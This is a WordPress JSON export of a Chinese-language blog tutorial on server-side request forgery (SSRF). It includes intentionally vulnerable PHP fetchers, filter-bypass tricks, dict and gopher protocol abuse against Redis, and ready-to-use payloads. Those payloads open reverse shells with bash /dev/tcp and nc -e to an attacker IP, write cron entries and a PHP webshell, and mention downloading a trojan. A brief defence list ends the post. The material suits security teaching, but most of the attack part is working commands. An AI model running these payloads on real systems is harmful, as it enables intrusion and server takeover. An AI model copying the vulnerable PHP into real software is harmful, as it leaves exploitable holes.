{"id":35,"date":"2023-02-22T13:20:24","date_gmt":"2023-02-22T05:20:24","guid":{"rendered":"http:\/\/123.207.45.199\/?p=35"},"modified":"2026-05-31T21:59:18","modified_gmt":"2026-05-31T13:59:18","slug":"ssrf%e8%b7%a8%e7%ab%99%e8%af%b7%e6%b1%82%e4%bc%aa%e9%80%a0","status":"publish","type":"post","link":"https:\/\/www.redspear.cn\/index.php\/2023\/02\/22\/ssrf%e8%b7%a8%e7%ab%99%e8%af%b7%e6%b1%82%e4%bc%aa%e9%80%a0\/","title":{"rendered":"SSRF\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020"},"content":{"rendered":"\n

\u539f\u7406<\/h2>\n\n\n\n
SSRF(Server-Side Request Forgery:\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020)\u662f\u4e00\u79cd\u7531\u653b\u51fb\u8005\u6784\u9020\u5f62\u6210\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u8bf7\u6c42\u7684\u4e00\u4e2a\u5b89\u5168\u6f0f\u6d1e\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0cSSRF\u653b\u51fb\u7684\u76ee\u6807\u662f\u4ece\u5916\u7f51\u65e0\u6cd5\u8bbf\u95ee\u7684\u5185\u90e8\u7cfb\u7edf\u3002
\u4ea7\u751f\u539f\u56e0:
\u5f88\u591aWb\u5e94\u7528\u90fd\u63d0\u4f9b\u4e86\u4ece\u5176\u4ed6\u670d\u52a1\u5668\u4e0a\u83b7\u53d6\u6570\u636e\u7684\u529f\u80fd\u3002\u4f7f\u7528\u7528\u6237\u6307\u5b9a\u7684URL,Web\u5e94\u7528\u53ef\u4ee5\u83b7\u53d6\u56fe\u7247\uff0c\u4e0b\u8f7d\u6587\u4ef6\uff0c\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u7b49\u3002\u8fd9\u4e2a\u529f\u80fd\u5982\u679c\u88ab\u6076\u610f\u4f7f\u7528\uff0c\u53ef\u4ee5\u5229\u7528\u5b58\u5728\u7f3a\u9677\u7684web\u5e94\u7528\u4f5c\u4e3a\u4ee3\u7406\u653b\u51fb\u8fdc\u7a0b\u548c\u672c\u5730\u670d\u52a1\u5668\u3002\u670d\u52a1\u7aef\u63d0\u4f9b\u4e86\u4ece\u5176\u4ed6\u670d\u52a1\u5668\u5e94\u7528\u83b7\u53d6\u6570\u636e\u7684\u529f\u80fd\u4e14\u6ca1\u6709\u5bf9\u76ee\u6807\u5730\u5740\u505a\u8fc7\u6ee4\u4e0e\u9650\u5236.
CVE-2023-33246\u547d\u4ee4\u6267\u884c<\/pre>\n\n\n\n
\u5371\u5bb3<\/h2>\n\n\n\n
\u5bf9\u5916\u7f51\u670d\u52a1\u5668\u6240\u5728\u7684\u5185\u7f51,\u672c\u5730\u8fdb\u884c\u7aef\u53e3\u626b\u63cf<\/pre>\n\n\n\n
\u76f8\u5173\u51fd\u6570<\/h2>\n\n\n\n
\u9700\u8981\u52a0\u4e0ahttp:\/\/<\/p>\n\n\n\n
\u4e00\u822c\u90fd\u4e3apost \u4e0b\u9762\u662f\u6a21\u62dfssrf\u6f0f\u6d1e\u573a\u666f \u90fd\u4ee5GET\u6f14\u793a<\/p>\n\n\n\n
file_get_contents
<?php
if (isset($_GET['url'])) {
    $content = file_get_contents($_GET['url']);
    $filename = 'img1.jpg';
    file_put_contents($filename, $content);
    $img=\"<img src=\\\"\".$filename.\"\\\"\/>\";
}
echo $img;
?>
\u5229\u7528:
url=http:\/\/www.localhost.com\/2.txt          \/\/\u5185\u7f51\u5730\u5740 =>\u8981\u8bfb\u53d6\u7684\u6587\u4ef6
\u8bbf\u95ee\u56fe\u7247\u6240\u5728\u4f4d\u7f6e127.0.0.1\/img1.jpg
\u200b
fsockopen
<?php
function GetFile($host, $port, $link)
{
    \/\/fsockopen() \u5c06\u8fd4\u56de\u4e00\u4e2a\u6587\u4ef6\u53e5\u67c4\uff0c\u4e4b\u540e\u53ef\u4ee5\u88ab\u5176\u4ed6\u6587\u4ef6\u7c7b\u51fd\u6570\u8c03\u7528
    \/\/\uff08\u4f8b\u5982\uff1a fgets() \uff0c fgetss() \uff0c
    \/\/ fwrite() \uff0c fclose() \u8fd8\u6709 feof() \uff09\u3002\u5982\u679c\u8c03\u7528\u5931\u8d25\uff0c\u5c06\u8fd4\u56de FALSE \u3002
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
    if (!$fp) {
        echo \"$errstr (error number $errno) \\n\";
    } else {
        $out = \"GET $link HTTP\/1.1\\r\\n\";
        $out .= \"Host: $host\\r\\n\";
        $out .= \"Connection: Close\\r\\n\\r\\n\";
        $out .= \"\\r\\n\";
        fwrite($fp, $out);
        $contents = '';
        while (! feof($fp)) {
            $contents .= fgets($fp, 1024);
        }
        fclose($fp);
        return $contents;
    }
}
$host = $_GET['host'];
$port = $_GET['port'];
$link = $_GET['link'];
echo GetFile($host, $port, $link);
\u200b
curl_exec  
<?php 
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();     \/\/\u521d\u59cbcurl\u4f1a\u8bdd
curl_setopt($curlobj,CURLOPT_POST, 0);  \/\/\u7981\u6b62\u7528post\u63d0\u4ea4\u6570\u636e
curl_setopt($curlobj,CURLOPT_URL,$link);    \/\/\u9700\u8981\u83b7\u53d6\u7684URL\u5730\u5740
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER,1);    \/\/true \u5c06curl_exec()\u83b7\u53d6\u7684\u4fe1\u606f\u4ee5\u5b57\u7b26\u4e32\u8fd4\u56de,\u800c\u4e0d\u662f\u76f4\u63a5\u8f93\u51fa
$result=curl_exec($curlobj);\/\/\u6267\u884ccurl\u7684\u4f1a\u8bdd
curl_close($curlobj);\/\/\u5173\u95ed\u8d44\u6e90 
 echo $result;}         \/\/\u6253\u5370\u7ed3\u679c
 ?>
 \u5229\u7528:
 url=http:\/\/www.localhost.com\/2.txt     \/\/\u5185\u7f51\u5730\u5740 =>\u8981\u8bfb\u53d6\u7684\u6587\u4ef6<\/pre>\n\n\n\n
\u6f0f\u6d1e\u6316\u6398<\/h2>\n\n\n\n
\u901a\u8fc7url\u5730\u5740\u5206\u4eab\u7f51\u9875\u5185\u5bb9
\u8f6c\u7801\u670d\u52a1
\u5728\u7ebf\u7ffb\u8bd1
\u56fe\u7247\u52a0\u8f7d\u4e0e\u4e0b\u8f7d
\u9a8c\u8bc1:\u53ef\u4ee5\u5728Firebug\u6216\u8005burpsuite\u6293\u5305\u5de5\u5177\uff0c\u67e5\u770b\u8bf7\u6c42\u6570\u636e\u5305\u4e2d\u662f\u5426\u5305\u542bhttp:\/\/www.a.com\/a.jpg\u8fd9\u4e2a\u8bf7\u6c42\u3002\u7531\u4e8eSSRF\u662f\u670d\u52a1\u7aef\u53d1\u8d77\u7684\u8bf7\u6c42\uff0c\u56e0\u6b64\u5728\u52a0\u8f7d\u8fd9\u5f20\u56fe\u7247\u7684\u65f6\u5019\u672c\u5730\u6d4f\u89c8\u5668\u4e2d\u4e0d\u5e94\u8be5\u5b58\u5728\u56fe\u7247\u7684\u8bf7\u6c42\u3002
\u200b
\u5728\u9a8c\u8bc1\u5b8c\u662f\u7531\u670d\u52a1\u7aef\u53d1\u8d77\u7684\u8bf7\u6c42\u4e4b\u540e\uff0c\u6b64\u5904\u5c31\u6709\u53ef\u80fd\u5b58\u5728SSRF,\u63a5\u4e0b\u6765\u9700\u8981\u9a8c\u8bc1\u6b64URL\u662f\u5426\u53ef\u4ee5\u6765\u8bf7\u6c42\u5bf9\u5e94\u7684\u5185\u7f51\u5730\u5740\u3002
\u9996\u5148\u6211\u4eec\u8981\u83b7\u53d6\u5185\u7f51\u5b58\u5728HTTP\u670d\u52a1\u4e14\u5b58\u5728favicon.ico\u6587\u4ef6\u5730\u5740\uff0c\u624d\u80fd\u9a8c\u8bc1\u662f\u5426\u662fSSRF\u3002
http:\/\/127.0.0.1 \u6b64\u5904\u627e\u5185\u7f51\u5730\u5740\u53ef\u4ee5\u901a\u8fc7\u4ece\u6f0f\u6d1e\u5e73\u53f0\u4e2d\u7684\u5386\u53f2\u6f0f\u6d1e\u5bfb\u627e\u6cc4\u9732\u7684\u5185\u7f51\u5730\u5740<\/pre>\n\n\n\n
\u82e5\u662f\u6709\u9650\u5236<\/h2>\n\n\n\n
\u8865\u5145:\u82e5\u662f\u5bf9link \u6709\u62e6\u622a
\/\/strpos\u62e6\u622a \u7b26\u5408\u8fd4\u56de0,\u4e0d\u7b26\u5408\u8fd4\u56defalse 1\u662f\u5426\u4e3a2
$pos =strpos($link,'www.baidu.com');
    if($pos===false){
        echo 'NO';
        die();
    }
    if(strpos($link,'127.0.0.1')!==false)
    {
        echo 'NO';
        die();
    }
    if(strpos($link,'localhost')!==false)
    {
        echo 'NO';
        die();
    }
url=www.baidu.com@127\u30020\u30020\u30021<\/pre>\n\n\n\n
\u5173\u4e8e\u7ed5\u8fc7<\/h2>\n\n\n\n
<?php
if (isset($_GET['url'])) {
    $content = file_get_contents($_GET['url']);
}
echo $content;
?>
\u7528@\u7b26\u53f7\u7ed5\u8fc7  \/\/@ \u7ed5\u8fc7\u767d\u540d\u5355  \u5982url=http:\/\/www.baidu.com@127.0.0.1 \u8bbf\u95ee\u5185\u7f51\u5730\u5740
\u7528 \u3002\u7ed5\u8fc7   \/\/\u7ed5\u8fc7\u9ed1\u540d\u5355
\u53ef\u4ee5\u5c1d\u8bd5\u5c06ip\u5730\u5740\u8f6c\u6362\u4e3a\u5341\u8fdb\u5236\u548c\u5341\u516d\u8fdb\u5236\u7ed5\u8fc7
\u77ed\u7f51\u5740\u7ed5\u8fc7 =>\u9ed1\u540d\u5355   \u7528file_get_contents
\u540e\u7f00\u52a0\u4e0a.nip.io  =>\u7ed5waf     \/sslip.io\u540c\u7406
==>\u7136\u540e\u524d\u7f00\u53ef\u4ee5\u968f\u4fbf\u52a0\u4e00\u4e9b \u5982 eee.www.127.0.0.1.nip.io   \/sslip.io\u540c\u7406
127.255.255.254 \/[::1]\u8ddf127.0.0.1\u4e00\u6837 \u90fd\u662f\u8bbf\u95ee\u672c\u5730\u56de\u73af\u5730\u5740<\/pre>\n\n\n\n
url \u5341\u516d\u8fdb\u5236\u52a0\u5bc6<\/p>\n\n\n\n
http:\/\/www.yunjson.com\/urlcode\/<\/a><\/p>\n\n\n\n
\u77ed\u7f51\u5740\u751f\u6210<\/p>\n\n\n\n
http:\/\/tool.chinaz.com\/tools\/dwz.aspx?qq-pf-to=pcqq.group<\/a> https:\/\/json-online.com\/code\/shorturl14.html<\/a><\/p>\n\n\n\n
\u5e38\u7528\u534f\u8bae<\/h2>\n\n\n\n
dict\u534f\u8bae
file\u534f\u8bae  =>\u7edd\u5bf9\u8def\u5f84
http\u534f\u8bae  =>\u8bbf\u95ee
ftp\u534f\u8bae\uff08\u626b\u63cf\u7aef\u53e3\u6781\u5176\u597d\u7528\uff09 \u5982 url=ftp:\/\/127.0.0.1:3306 \u82e5\u662f\u5f00\u542f\u4f1a\u4e00\u76f4\u8f6c\u5708,\u6ca1\u6709\u7684\u8bdd\u79d2\u51fa
curl_exec\u51fd\u6570\u4e0b\u53ef\u7528  bp\u6293\u5305 intruder=>\u72d9\u51fb\u624b \u5e38\u7528\u7aef\u53e3 =>
\u200b
gopher\u534f\u8bae<\/pre>\n\n\n\n
\u5e38\u7528\u7aef\u53e3https:\/\/zhuanlan.zhihu.com\/p\/534297790<\/a><\/p>\n\n\n\n
\n
http:\/\/<\/code>\uff1a\u63a2\u6d4b\u5185\u7f51\u4e3b\u673a\u5b58\u6d3b\u3001\u7aef\u53e3\u5f00\u653e\u60c5\u51b5<\/p>\n\n\n\n
gopher:\/\/<\/code>\uff1a\u53d1\u9001GET\u6216POST\u8bf7\u6c42\uff1b\u653b\u51fb\u5185\u7f51\u5e94\u7528\uff0c\u5982FastCGI\u3001Redis<\/p>\n\n\n\n
dict:\/\/<\/code>\uff1a\u6cc4\u9732\u5b89\u88c5\u8f6f\u4ef6\u7248\u672c\u4fe1\u606f\uff0c\u67e5\u770b\u7aef\u53e3\uff0c\u64cd\u4f5c\u5185\u7f51redis\u8bbf\u95ee\u7b49<\/p>\n\n\n\n
file:\/\/<\/code>\uff1a\u8bfb\u53d6\u672c\u5730\u6587\u4ef6<\/p>\n<\/blockquote>\n\n\n\n
dict<\/h3>\n\n\n\n
1\u3001\u63a2\u6d4b\u5185\u7f51\u4e3b\u673a
2\u3001\u63a2\u6d4b\u7aef\u53e3\u7684\u5f00\u653e\u60c5\u51b5\u548c\u6307\u7eb9\u4fe1\u606f    (\u7aef\u53e3\u5f00\u653e\u8fd4\u56de\u6307\u7eb9\u4fe1\u606f )
3\u3001\u6267\u884c\u547d\u4ee4
\u4f7f\u7528\u65b9\u5f0f\uff1a
1\u3001
dict:\/\/serverip:port\/\u547d\u4ee4\uff1a\u53c2\u6570 (\u547d\u4ee4\u7528:\u9694\u5f00)
2\u3001\u5411\u670d\u52a1\u5668\u7684\u7aef\u53e3\u8bf7\u6c42\u4e3a\u3010\u547d\u4ee4\uff1a\u53c2\u6570\u3011\uff0c\u5e76\u5728\u672b\u5c3e\u81ea\u52a8\u8865\u4e0a\\r\\n(CRLF),\u4e3a\u6f0f\u6d1e\u5229\u7528\u589e\u52a0\u4e86\u4fbf\u5229
3\u3001dict\u534f\u8bae\u6267\u884c\u547d\u4ee4\u8981\u4e00\u6761\u4e00\u6761\u6267\u884c
\u4f7f\u7528\u6761\u4ef6\uff1a
\u5fc5\u987b\u662fredis\u672a\u8bbe\u5bc6\u7801\u7684\u60c5\u51b5\u4e0b\u624d\u53ef\u5229\u7528dict\u6267\u884c\u547d\u4ee4\uff0c\u5426\u5219\u5373\u4fbf\u77e5\u9053\u5bc6\u7801\u4e5f\u65e0\u6cd5\u8fdb\u884c\u5176\u4ed6\u64cd\u4f5c\u3002\u56e0\u4e3a\u5728\u6bcf\u4e00\u6b21\u53d1\u9001\u547d\u4ee4\u7684\u540c\u65f6\u90fd\u9700\u8981\u8fdb\u884c\u8eab\u4efd\u8ba4\u8bc1\uff0c\u5373\u7b2c\u4e00\u6b21\u53d1\u9001auth qianxun\u901a\u8fc7\u8ba4\u8bc1\uff0c\u7b2c\u4e8c\u6b21\u53d1\u9001get name\u65f6\u8fd8\u662f\u63d0\u793a\u8981\u5bc6\u7801\u8ba4\u8bc1\uff0c\u8bf4\u660eredis\u662f\u65e0\u8bb0\u5fc6\u7684\u3002\u800cdict\u53ea\u80fd\u4e00\u6b21\u6267\u884c\u4e00\u6761\u547d\u4ee4\uff0c\u6240\u4ee5\u65e0\u6cd5\u64cd\u4f5c\u3002
\u200b
1.dict\u5982\u679c\u662f\u901a\u8fc7curl\u53d1\u5305\uff0c\u90a3\u4e48\u5c31\u9700\u8981\u4e24\u4e2a\u53cd\u659c\u6760\uff0c\u5e76\u4e14\u5728\u5934\u90e8\u548c\u5c3e\u90e8\u52a0\u4e0a\\\"
2.dict\u5982\u679c\u662f\u901a\u8fc7\u6d4f\u89c8\u5668\u53d1\u5305\uff0c\u90a3\u4e48\u53ea\u9700\u8981\u4e00\u4e2a\u53cd\u659c\u6760\uff0c\u5e76\u4e14\u5728\u5934\u90e8\u548c\u5c3e\u90e8\u52a0\u4e0a\"
3.\u7b2c\u4e8c\u6761\u5f00\u59cb\u53ea\u8981\u662f\u6709\u7a7a\u683c\u7684\u5730\u65b9\u9700\u8981\u52a0\u4e0a\uff1a\u8fdb\u884c\u5206\u5272
4.\u53cd\u5f39shelle\u7684\u547d\u4ee4\u4e2d\u5982\u679c\u8fd9\u4e2ashell\u662f\u5199\u5728var\/spool\/,cron\u8fd9\u4e2a\u6587\u4ef6\u5939\u4e0b\u9762\u90a3\u4e48\u5c31\u8981\u53bb\u6389\u53cd\u5f39shell\u4e2d\u7684root,\u5982\u679c\u53cd\u5f39shell\u7684\u547d\u4ee4\u662f\u5199\u5230\/etc\/crontab\u8fd9\u4e2a\u6587\u4ef6\u91cc\u9762\u90a3\u4e48\u5c31\u4e0d\u9700\u8981\u5220\u9664
\u200b
dict\u534f\u8bae\u53d1\u5305\u683c\u5f0f\u5982\u4e0b\uff1a
\u6d4f\u89c8\u5668\u53d1\u5305\uff1a
http:\/ip\u5730\u5740\/ssrf.php?url=dict:\/127.0.0.1:6379\/\u547d\u4ee41\uff1a\u547d\u4ee42\uff1a\u547d\u4ee43
curl\u53d1\u5305\uff1a
curl dict:\/ip\u5730\u5740\uff1a\u7aef\u53e3\/\u547d\u4ee41\uff1a\u547d\u4ee42\uff1a\u547d\u4ee43<\/pre>\n\n\n\n
gopher<\/h3>\n\n\n\n
\u4e07\u91d1\u6cb9\u5de5\u5177 gopherus<\/p>\n\n\n\n
\u547d\u4ee4python2 gopher.py –exploit \u6570\u636e\u5e93<\/p>\n\n\n\n
Gopher\u662fInternet.\u4e0a\u4e00\u4e2a\u975e\u5e38\u6709\u540d\u7684\u4fe1\u606f\u67e5\u627e\u7cfb\u7edf\uff0c\u5b83\u5c06Internet.\u4e0a\u7684\u6587\u4ef6\u7ec4\u7ec7\u6210\u67d0\u79cd\u7d22\u5f15\uff0c\u5f88\u65b9\u4fbf\u5730\u5c06\u7528\u6237\u4eceInternet\u7684\u4e00\u5904\u5e26\u5230\u53e6\u4e00\u5904\u3002\u5728WWW\u51fa\u73b0\u4e4b\u524d\uff0cGopher\u662fInternet_\u4e0a\u6700\u4e3b\u8981\u7684\u4fe1\u606f\u68c0\u7d22\u5de5\u5177\uff0cGopher\u7ad9\u70b9\u4e5f\u662f\u6700\u4e3b\u8981\u7684\u7ad9\u70b9\uff0c\u4f7f\u7528tcp 70\u7aef\u53e3\u3002\u4f46\u5728WWW\u51fa\u73b0\u540e\uff0cGophers\u5931\u53bb\u4e86\u6614\u65e5\u7684\u8f89\u714c\u3002\u73b0\u5728\u5b83\u57fa\u672c\u8fc7\u65f6\uff0c\u4eba\u4eec\u5f88\u5c11\u518d\u4f7f\u7528\u5b83\uff1b\ngophert\u534f\u8bae\u652f\u6301\u53d1\u51faGET\u3001POST\u8bf7\u6c42\uff1a\u53ef\u4ee5\u5148\u622a\u83b7get\u8bf7\u6c42\u5305\u548cpost\u8bf7\u6c42\u5305\uff0c\u5728\u6784\u6210\u7b26\u5408gophert\u534f\u8bae\u7684\u8bf7\u6c42\u3002gophert\u534f\u8bae\u662fssrf\u5229\u7528\u4e2d\u6700\u5f3a\u5927\u7684\u534f\u8bae\n\u9650\u5236\uff1a\ngophert\u534f\u8bae\u5728\u5404\u4e2a\u7f16\u7a0b\u8bed\u8a00\u4e2d\u7684\u4f7f\u7528\u9650\u5236\n\u534f\u8bae\nPHP\t\t--wite-curlwrappers.\u4e14php\u7248\u672c\u81f3\u5c11\u4e3a5.3\t\t\nJava\t\t\u5c0f\u4e8eJDK1.7\nCurl\t\t\u4f4e\u7248\u672c\u4e0d\u652f\u6301\t\nPerl\t\t\u652f\u6301\t\nASP.NET\t\t\u5c0f\u4e8e\u7248\u672c3\t\t\n\ngopher:\u7f16\u7801\u7684\u6ce8\u610f\u4e8b\u9879\ncurl gopher:\/\/\u9776\u673aip:\u7aef\u53e3\/_\n?\u9700\u8981\u7f16\u7801\n\u7a7a\u683c\u9700\u8981\u7f16\u7801\n\u5728\u6bcf\u4e2a\u6bb5\u843d\u7ed3\u675f\u90fd\u9700\u8981\u52a0\u4e0a%0d%0a\nGET\u8bf7\u6c42\u6784\u9020\nGET \/ssrf.php?data=gopher HTTP\/1.1\nHost: 192.168.43.135(\u9776\u673a\u5730\u5740)\n\nPOST\u8bf7\u6c42\u6784\u9020\uff1a\nPOST \/ssrf.php HTTP\/1.1\nHost: 192.168.43.135\nContent-Type:application\/x-www-form-urlencoded\nContent-Length:11<\/pre>\n\n\n\n
\u53cd\u5f39shell<\/p>\n\n\n\n
linux\nbash -i >& \/dev\/tcp\/192.168.43.134\/8888 0>&1\t \u5728\u76d1\u542c\u7684\u4e3b\u673aip\/\u7aef\u53e3\u53f7\t\t\t\n\u76d1\u542c\u4e3b\u673a\u5f00\u542f\tnc -lvp 8888\n\nwindows(\u9700\u8981\u4e0b\u8f7dnetcat)\nnc ip port -e c:\\windows\\system32\\cmd.exe\t\n\u76d1\u542c\u4e3b\u673a\u5f00\u542f  nc -lvp port<\/pre>\n\n\n\n
\u53cd\u5f39shell<\/h4>\n\n\n\n
\u501f\u52a9gopher\u534f\u8bae<\/p>\n\n\n\n
curl gopher:\/\/\u9776\u673aip:\u7aef\u53e3\/_ \u53cd\u5f39shell=>\u653b\u51fb\u673a ip\/\u7aef\u53e3<\/p>\n\n\n\n
curl gopher:\/\/192.168.43.142:6379\/_<\/p>\n\n\n\n
set tom “\\n\\n\\n\\n* * * * * root bash -i >& \/dev\/tcp\/192.168.43.134\/9999 0>&1\\n\\n\\n\\n” config set dir \/etc\/ config set dbfilename crontab save<\/p>\n\n\n\n
set xx “\\n* * * * * bash -i >& \/dev\/tcp\/192.168.43.134\/7999 0>&1\\n” config set dir \/var\/spool\/cron\/ config set dbfilename root save<\/p>\n\n\n\n
\u5728bp\u8fdb\u884curl\u8f6c\u7801=>\u7ed3\u5c3e\u52a0\u4e0a%0d%0a<\/p>\n\n\n\n
\u653b\u51fb\u673a\u76d1\u542c\u8fd4\u56de\u7aef\u53e3 \u5f39\u51fashell<\/p>\n\n\n\n
wget\u4e0b\u8f7d\u6728\u9a6c<\/p>\n\n\n\n
\u5728\u771f\u5b9e\u73af\u5883\u4e2d\u6211\u4eec\u627e\u5230\u4e86\u4e00\u4e2a\u5e26\u6709ssrf\u7684\u7f51\u7ad9\uff0c\u901a\u8fc7\u7aef\u53e3\u626b\u63cf\u53d1\u73b0\u4e00\u53f0\u53ea\u80fd\u672c\u5730\u8bbf\u95ee\u7684redis\u670d\u52a1\u5668. curl gopher\u901a\u8fc7SSRF\u5199\u4e00\u4e2a\u53cd\u5f39shell http:\u9700\u8981\u7f16\u7801(gopher:\/\/127.0.0.1:6379\/_) (: \/ \/\/) \u653b\u51fb\u7684\u5185\u5bb9\u9700\u8981\u7f16\u7801\u4e24\u6b21,\u56e0\u4e3ahttp\u534f\u8bae\u4f1a\u81ea\u52a8\u89e3\u7801\u4e00\u6b21 , \u5982\u679c\u4e0d\u7f16\u7801\u4e24\u4efd\u4f1a\u62a5\u9519<\/p>\n\n\n\n
\u901a\u8fc7ssrf\u6f0f\u6d1e\u6765\u653b\u51fbredis,\u5e76\u975e\u76f4\u63a5\u8bbf\u95eeredis<\/p>\n\n\n\n
curl http:\/\/\u9776\u673aip\/ssrf.php?url=gopher:\/\/127.0.0.1:6379\/_<\/p>\n\n\n\n
set xx “\\n* * * * * bash -i >& \/dev\/tcp\/192.168.43.134\/7878 0>&1\\n” config set dir \/var\/spool\/cron\/ config set dbfilename root save<\/p>\n\n\n\n
\u7b2c\u4e00\u6b21\u7f16\u7801 %0a=>%0d%0a \u540e\u9762\u52a0%0d%0a<\/p>\n\n\n\n
\u7b2c\u4e8c\u6b21\u7f16\u7801<\/p>\n\n\n\n
webshell<\/h4>\n\n\n\n
\u653b\u51fb\u4ee3\u7801\u6539\u4e3a\u8fd9\u4e2a \u5176\u4ed6\u7684\u540c\u4e0a set tom “\\n\\n\\n\\n* * * * * <?php phpinfo();?>\\n\\n\\n\\n” config set dir \/www\/admin\/localhost_80\/wwwroot\/ config set dbfilename shell.php<\/p>\n\n\n\n
\u516c\u94a5ssh<\/h4>\n\n\n\n
<\/pre>\n\n\n\n
\u9632\u5fa1<\/h2>\n\n\n\n
1.\u7edf\u4e00\u9519\u8bef\u4fe1\u606f\uff0c\u907f\u514d\u7528\u6237\u53ef\u4ee5\u6839\u636e\u9519\u8bef\u4fe1\u606f\u6765\u5224\u65ad\u8fdc\u7a0b\u670d\u52a1\u5668\u7aef\u53e3\u72b6\u6001\n2.\u9650\u5236\u8bf7\u6c42\u7684\u7aef\u53e3\u4e3aHTTP\u5e38\u7528\u7684\u7aef\u53e3\uff0c\u6bd4\u598280,443,8080,8088\u7b49\n3.\u9ed1\u540d\u5355\u5185\u7f51IP\u3002 =>\u8bbe\u7f6e\u767d\u540d\u5355(\u9488\u5bf9127.0.0.1)for\u5faa\u73af =>\u9632\u6b62\u7ed5\u8fc7\n4.\u7981\u7528\u4e0d\u9700\u8981\u7684\u534f\u8bae\uff0c\u4ec5\u4ec5\u5141\u8bb8HTTP\u548cHTTPS.<\/pre>\n\n\n\n
centos7\u542f\u52a8 src .\/redis-server redis.conf<\/p>\n\n\n\n
\u653b\u51fb\u673a nmap -sT \u9776\u673aip -p 6379<\/p>\n\n\n\n
redis \u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef<\/p>\n\n\n\n
1.set key value \u8bbe\u7f6ekey<\/p>\n\n\n\n
2.get key \u67e5\u770bkey<\/p>\n\n\n\n
3.type key \u67e5\u770b\u7c7b\u578b<\/p>\n\n\n\n
4.del name \u5220\u9664 key<\/p>\n\n\n\n
\u5907\u4efd\u6570\u636e \u901a\u8fc7key<\/p>\n\n\n\n
\u76d1\u542ceth0\u7f51\u5361 6379\u7aef\u53e3\u7684\u5305\u5199\u5165\u8be5\u6587\u4ef6<\/p>\n\n\n\n
tcpdump -i eth0 port 6379 -w redis.pcap<\/p>\n\n\n\n
wireshark \u6293\u5305 tcp =>\u8ffd\u8e2a\u6d41 =>\u8ffd\u8e2atcp\u6d41 \u5212\u5230\u6700\u540e\u7c89\u7ea2\u8272\u7684\u5305<\/p>\n\n\n\n
*n => n\u4e2a\u5143\u7d20<\/p>\n\n\n\n
$n => n\u4e2a\u5b57\u7b26<\/p>\n\n\n\n
\u4f8b\u5b50 set passwd 123456<\/p>\n\n\n\n
*3<\/p>\n\n\n\n
$3<\/p>\n\n\n\n
set<\/p>\n\n\n\n
$6<\/p>\n\n\n\n
passwd<\/p>\n\n\n\n
$6<\/p>\n\n\n\n
123456<\/p>\n\n\n\n
save<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u539f\u7406 SSRF(Server-Side Request Forgery:\u670d\u52a1\u5668\u7aef\u8bf7\u6c42\u4f2a\u9020)\u662f\u4e00\u79cd\u7531\u653b\u51fb\u8005\u6784\u9020\u5f62 … <\/p>\n","protected":false},"author":3,"featured_media":24,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-35","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-webtob10"],"_links":{"self":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/35","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/comments?post=35"}],"version-history":[{"count":1,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/35\/revisions"}],"predecessor-version":[{"id":36,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/35\/revisions\/36"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media\/24"}],"wp:attachment":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media?parent=35"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/categories?post=35"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/tags?post=35"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}